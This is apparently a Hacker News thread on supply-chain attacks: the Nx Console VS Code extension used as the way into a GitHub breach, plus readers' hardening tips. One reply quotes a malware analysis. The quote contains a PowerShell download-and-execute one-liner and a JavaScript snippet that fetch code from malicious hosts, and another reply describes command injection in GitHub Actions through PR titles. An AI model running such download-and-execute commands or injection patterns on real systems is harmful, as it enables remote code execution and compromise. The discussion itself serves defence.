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why?

After the recent Codex update, I started seeing this error message on macOS:

“codex” will damage your computer. You should move it to the Bin.

Is anyone else experiencing this?

UPD: reinstalling both the Codex CLI and desktop app seems to resolve the issue.


“Nx Console VS Code extension was the initial access vector in the GitHub breach”

Source: https://news.ycombinator.com/item?id=48216614


Per security advisory on GitHub:

Root Cause

One of our developers was compromised by a recent supply-chain compromise on Tanstack, which leaked their GitHub credentials through the GitHub CLI (gh). This allowed the attacker to run workflows on our GitHub repository as a contributor.

More links:

https://github.com/nrwl/nx-console/security/advisories/GHSA-...

https://www.stepsecurity.io/blog/nx-console-vs-code-extensio...


so cool!

friendly reminder:

- disable auto-updates for extensions in VS Code/Cursor

- use static analysis for GitHub Actions to catch security issues in pre-commit hook and on ci: https://github.com/zizmorcore/zizmor

- set locally: pnpm config set minimum-release-age 4320 # 3 days in minutes https://pnpm.io/supply-chain-security

- for other package managers check: https://gist.github.com/mcollina/b294a6c39ee700d24073c0e5a4e...

- add Socket Free Firewall when installing npm packages on CI to catch malware https://docs.socket.dev/docs/socket-firewall-free#github-act...


Thanks!

> for other package managers

For other js package managers. Sadly such functionality seems far less common for c# (nuget) or rust (cargo).

> add Socket Free Firewall when installing npm packages on CI to catch malware

It appears that functionality depends on blacklisting malware from being downloaded? But don't the repositories (npm, etc) take down malware once it's identified - is socket actually blacklisting malware faster than npm? That sounds unlikely, but maybe? For the vs code extension from the op post, it seems like it was live for like 18 minutes on the official vs code marketplace, and slightly longer on openvsx as ms sadly doesn't allow vs code clones to use the official marketplace.


Or how about just don't allow your VS extensions outbound Internet access ...

How? I haven’t found a way to do that on windows, as even with third-party monitoring firewalls, extension's network access is indistinguishable from the rest of VS code, so you’d either have to disallow network access from both VS code and all of its extensions combined, or none of them?

restrict code.exe to an allowlist. Also, many malicious actors rely on system commands to download or exfiltrate data.

Take for example this activity from a malicious extension:

  This code makes an HTTP GET request to https://solidity[.]bot/version.json that includes the system’s platform string in the headers.

  powershell -ExecutionPolicy Bypass -Command "irm https://solidity[.]bot/a.txt | iex"
  This PowerShell command downloads and executes https://solidity[.]bot/a.txt, a suspicious action that, when coupled with the use of obfuscation in extension.js, indicates malicious intent. 
https://securitylabs.datadoghq.com/articles/mut-9332-malicio...

Or this one:

  const CONFIG_URL = 'http://clawdbot.getintwopc[.]site/config.json';
  function fetchConfigAndRun() {
     http.get(CONFIG_URL, (res)
they also establishes outbound connections to dropbox and other not expected domains:

https://www.aikido.dev/blog/fake-clawdbot-vscode-extension-m...

so maybe it's not bulletproof, but it helps to mitigate these threats.


friendly reminder: use vim :)

If you are a person that installs extensions from public sources, it doesn't matter what IDE you use.

If you don't (or can't) install extensions, it also doesn't matter which IDE you use.


You can and should and I do glance at a diff of changes every time you update a vim plugin. To make this feasible - I only use a handful of plugins I *really need*.

It honestly surprises me we don't hear news about vim/neovim plugin supply chain attacks.


probably a much smaller dependency graph (lesser usage of transitive dependencies)




> One of our developers was compromised by a recent supply-chain compromise on Tanstack

...which in turn was caused by bad design of github's CI pipeline. Funny how it all comes back around like that.


Yeah..full circle

Sounds like another "why even bother" extension, made to automate things that shouldn't be automated

When I click the link, the website crashes on my iPhone 13 iOS Chrome lol

GitHub: "We are investigating unauthorized access to GitHub’s internal repositories. While we currently have no evidence of impact to customer information stored outside of GitHub’s internal repositories (such as our customers’ enterprises, organizations, and repositories), we are closely monitoring our infrastructure for follow-on activity."

It reminds me of the famous "mistakes were made" Nixon quote.

"We are investigating unauthorized access" sounds much better than "we've been hacked"


This reminds me of George Carlin standup routine about PTSD. If you want to make any bad news sound less bad, just wrap the concept around complicated jargon to sterilize it.

Carlin would have loved watching the big tech companies fall victim to the very LLMs they created.

Exactly =)

- Use Static analysis for GHA to catch security issues: https://github.com/zizmorcore/zizmor

- set locally: pnpm config set minimum-release-age 4320 # 3 days in minutes https://pnpm.io/supply-chain-security for other package managers check: https://gist.github.com/mcollina/b294a6c39ee700d24073c0e5a4e...

- add Socket Free Firewall when installing npm packages on CI https://docs.socket.dev/docs/socket-firewall-free#github-act...


The only way to 'harden your github actions' is to not use github actions.

Maybe GitHub being popped for their own insecure by design platform, will cause them to reconsider growth at all costs. I know it's wishful thinking, but the amount of security incidents the past few years because of how actions was designed is wild. It would be great for them to finally recognize this and take ownership.

fair point

Makes sense tbh :)

Thanks for making me aware of zizmor, just ran and fixed all issues on our core repos.

You are welcome! Recently discovered it and found it genuinely useful. Fixed a bunch of issues in my workflows too :)


Disabling vscode/cursor extensions auto-updates also makes sense

Can that even be done?

Even if there are knobs you can turn to disable auto updates, does that cover everything that decides to change your software behind your back?


On vscode you can control autoupdates. (Still trying to find a way to control zed's overeager updating)

For vscode or for any extension as well?

Are there misbehaving extensions with their own mechanisms?


UPD: disable auto-updates for extensions in VS Code/Cursor!

You also need to make sure you take care using PR titles and descriptions in your GHA because if they contain `text` it *may be executed lmfao.

edited: not "will", may depending on your GHA


Maybe zizmor could catch this https://github.com/zizmorcore/zizmor but not sure 100%

Yeah, zizmor checks for template injection.

Nice

Can you cite this? It's not YAML execution syntax, surely Github doesn't do it, the only vector I can see is if you put it unquoted into a shell script inside of a GHA yaml.

https://github.com/orgs/community/discussions/27065

https://stackoverflow.com/questions/77090044/github-actions-...

https://www.praetorian.com/blog/pwn-request-hacking-microsof...

All you need is user content containing `backticked`, and a github action referencing that via eg "github.event.issue.title" where the shell would normally execute `backticked` as a command (like echo, cat, etc).



Yes that's it.

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